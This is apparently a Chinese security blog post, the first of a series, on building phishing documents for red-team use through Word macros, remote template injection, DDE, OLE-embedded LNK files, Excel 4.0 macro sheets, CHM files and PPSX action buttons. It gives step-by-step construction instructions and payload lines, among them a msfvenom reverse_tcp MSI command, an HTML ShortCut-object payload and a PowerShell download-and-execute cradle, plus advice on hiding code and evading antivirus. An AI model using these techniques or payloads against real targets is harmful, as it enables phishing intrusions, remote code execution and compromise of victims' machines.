干货 | 红队和漏洞挖掘中那些关于”文档“的妙用(上)

2022-05-23 10:44:14 浏览数 (1)

0x01 前言

为什么会有这篇文章,其实是一个非常有意思的事情。在安全领域,有非常多涉及Word、Execl、PDF、CHM、PPT等等文档的攻击手法,从Web领域到红队领域,使用各种文档来进行攻击的姿势层出不穷,本文希望起到一个抛砖引玉的功能,尽量把各种使用“文档“的攻击姿势讲全。那么废话不多说,让我们先从最经典的使用文档进行钓鱼的功能讲起。

0x02 使用Word文档进行钓鱼的若干种姿势

1.Word宏上线的变种姿势(缺陷Word宏)

众所周知,学习Word宏钓鱼的第一步就是使用Cobalt Strike生成一个恶意宏。当然现在这种方法绝对无效了。但只要把恶意宏最末尾的一块代码删掉,恶意Word仍然能够上线,并且能在一定程度上规避查杀(数个月前还是能过360的)

2.利用DOCX文档远程模板注入执行宏

首先,我们创造一个包含恶意代码的普通dotm宏文件,这个没有什么可说的。并且把这个恶意dotm上传到Web服务器上,假设其地址为http://www.abc.com/test.dotm。

接着创建一个正常的dotm文档,点击开始

在模板这里选择一个模板,这个根据钓鱼的需求而定,比如你可以选择求职信模板,然后发给目标的人事部门什么的

我们把这个包含模板的docx文件后缀名改成zip,解压,找到如下目录中的文件

编辑该文件,将这个地方的地址替换成刚刚我们的dotm文件的远程地址

将文件的后缀名重新改回DOCX,这样我们就得到了一个远程模板注入的恶意DOCX文件

3.Word DDE

Microsoft Office Word 的一个执行任意代码的方法,可以在不启用宏的情况下执行任意程序。

这个功能的本意是为了更方便地在 word 里同步更新其它应用的内容,比如说在一个 word 文档里引用了另一个 excel 表格里的某项内容,通过连接域 (Field) 的方式可以实现在 excel 里更新内容后 word 中同步更新的效果,问题出在这个域的内容可以是一个公式 (或者说表达式),这个公式并不限制内容。

实用性相较于宏来说更为实用。DDE执行时用户点击两个按钮即可执行。

新建Word文档,CTRL F9,在文档中出现"{}"之后将代码复制大括号之间,保存文件:

比方说我这里就填一个弹计算器的代码,不过实战中肯定是填Cobalt Strike无文件落地的攻击语句了。

对方打开后就会执行你写入的命令

4.Office OLE LNK

不难看出这个姿势其实是一个组合姿势,既用到了LNK恶意文件的知识点,也用到了office OLE的知识点,首先新建一个快捷方式,本文还是以弹计算器的PS语句进行演示,实战中记得换成上线语句即可。

新建一个快捷方式

目标位置填写命令操作:

代码语言:javascript复制
%SystemRoot%system32WindowsPowerShellv1.0powershell.exe -command calc

起始位置填:

代码语言:javascript复制
%windir%system32WindowsPowerShellv1.0

在Word或Excel中插入对象,选择package,为了提高诱导性点击勾选显示为图标,更改图标为word或者excel等迷惑性更大的图标。

相关图标可在C:Program FilesWindows NTAccessories中找到,你也可以换成别的文本图标,Word的图标在C:Program FilesMicrosoft OfficerootOffice16 总之是WORD根目录。

这里还有一个“题注“的功能,为了让效果看起来更真实,记得把这个题注的名字也改改,本文这里就使用默认的Package了。

点击完确定之后会让你选择一个软件包,选择我们第一步做好的那个恶意LNK文件

搞完之后你的文档里就出现了这么个东西,别人双击就会触发恶意lnk,至于怎么让骗别人双击,那就看你的本事了!

5.Office Word 本身的一些漏洞

说真的,实战环境下很少有人会用Word进行钓鱼,其一是免杀不好做,其二是不稳定非常容易掉线。如果真的要用Word进行钓鱼,最好是利用Word本身的一些漏洞。比如说近期的CVE-2021-40444 Office Word远程代码执行漏洞。

当然这些漏洞其实可遇不可求,加之攻击者也无法确定目标机器上到底有没有打相关的补丁,所以风险还是大,实战也绝对不推荐大家使用这种方法去钓(如果说是那种刚出没几天还热乎的Office Word漏洞,倒是可以试着用一下)。

如果你要找这些漏洞学习,有个搜索技巧,直接搜office CVE就可以找到这些漏洞

0x03 使用Excel文档进行钓鱼的若干姿势

1.Excel文档远程加载msi文件钓鱼

Excel文档与Word文档一样,都是支持宏功能的,因此我们也可以用Excel文档进行钓鱼,不过,使用Excel文档进行钓鱼需要使用Metasploit生成一个恶意msi文件

首先我们需要用MSF生成一个恶意msi文件,在msf中我们使用如下命令生成。这种打命令的事非常简单,就不配图了

代码语言:javascript复制
msfvenom -p windows/meterpreter/reverse_tcp lhost=MSF部署的IP地址 lport=监听端口 -f msi > 路径/test.msi

我们将刚刚生成好的test.msi放到远程服务器上(同前文对dotm的操作一样),记录其地址

完成上述操作之后我们新建一个Excel文档,选中一个单元格,右键-插入

选择插入宏表(注意,这两步只有用4.0的Excel才可以做到)

接着我们得到了一个看似空白的格子,没关系,我们在这里输入我们的恶意代码(注:msiexec是系统自带的一个工具,如果你想执行别的工具也可以打在上面,不过大概率被杀,HALT是Excel文档代码的退出代码,不加容易报错)

为了用户能够在打开Excel文档时自动执行我们的恶意代码,我们要选中这个EXEC代码所在的框框,然后把它的类型改成Auto_Open

接着我们右键恶意代码-隐藏,即可把我们的恶意代码隐藏起来(不然别人打开的时候会看到)

这里不得不提一嘴,在2016版本以及以上的Excel文档中,如果你想让Excel文档包含宏,那么它的后缀必须被命名为xlsm,但是在之前的版本中,即使是xlsx也是可以执行的。

2.Office Excel 自身的一些漏洞

与Word同理,也非常不推荐使用Excel进行钓鱼。如果有新出的漏洞可以一试,如果你想研究Excel的历史漏洞,github搜索“office CVE“ 或者 ”Excel CVE“即可找到这些漏洞。

0x04 CHM电子书钓鱼

  1. 借助github上的项目生成一个CHM格式钓鱼文件
代码语言:javascript复制
项目地址是:https://github.com/Ridter/MyJSRat

它的用法非常简单,把它放在你的VPS上,执行如下命令:

代码语言:javascript复制
Python MyJSRat.py -i 服务器地址 -p 监听端口

运行之后会生成三个地址,分别是

代码语言:javascript复制
http://host:port/connect     //受害者的回连监听地址
http://host:port/wtf          //恶意代码的存放地址
http://host:port/hook

接着我们新建一个HTML文件,其内容为:

代码语言:javascript复制
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",这里填写你想要执行的payload ">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

这里的想执行的payload可以是Cobalt Strike的无文件落地上线语句,当然本文前面提到了一个/wtf文件,可以把里面的恶意代码粘贴上去

接着我们保存时选择ANSI编码,这样就制作好了一个携带恶意代码的HTML文件

接着我们下载一个Easy CHM来制作恶意CHM文档,我们选择新建-导入文件夹,选择恶意HTML文件所在的文件夹(多提一句,刚刚那个恶意HTML代码有能力的还可以自己进行润色,让其更具有迷惑性)

我们点击编译之后,就做出了一个恶意CHM文件了

0x05 PPT钓鱼

  1. 简单制作一个用于钓鱼的PPTX文件

鲜有人知道PPT也能拿来钓鱼,这里主要是借用PPT中的“动作按钮“

然后在弹出的窗口处:

比如填入上线CS的语句:

代码语言:javascript复制
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/a'))"

然后将PPT格式保存为ppsx格式保存即可 打开即上线

0x06 结语

在本文,我们主要介绍了一些利用各种文档进行钓鱼的操作,对应标题的“红队“,当然非常可惜的是,随着主流杀软的不断更新,文档钓鱼越来越难做,如果不借助宏免杀工具或者是新出的Office类产品漏洞,很难对目标起到什么作用。

但是文档在攻防的其它领域没有用武之地了吗?我想不是,在WEB安全的领域,借助文档仍然能打出一些骚操作。下篇文章会提到如何利用PDF进行XSS、RCE,以及利用Word和Excel进行XXE攻击,敬请期待。

0 人点赞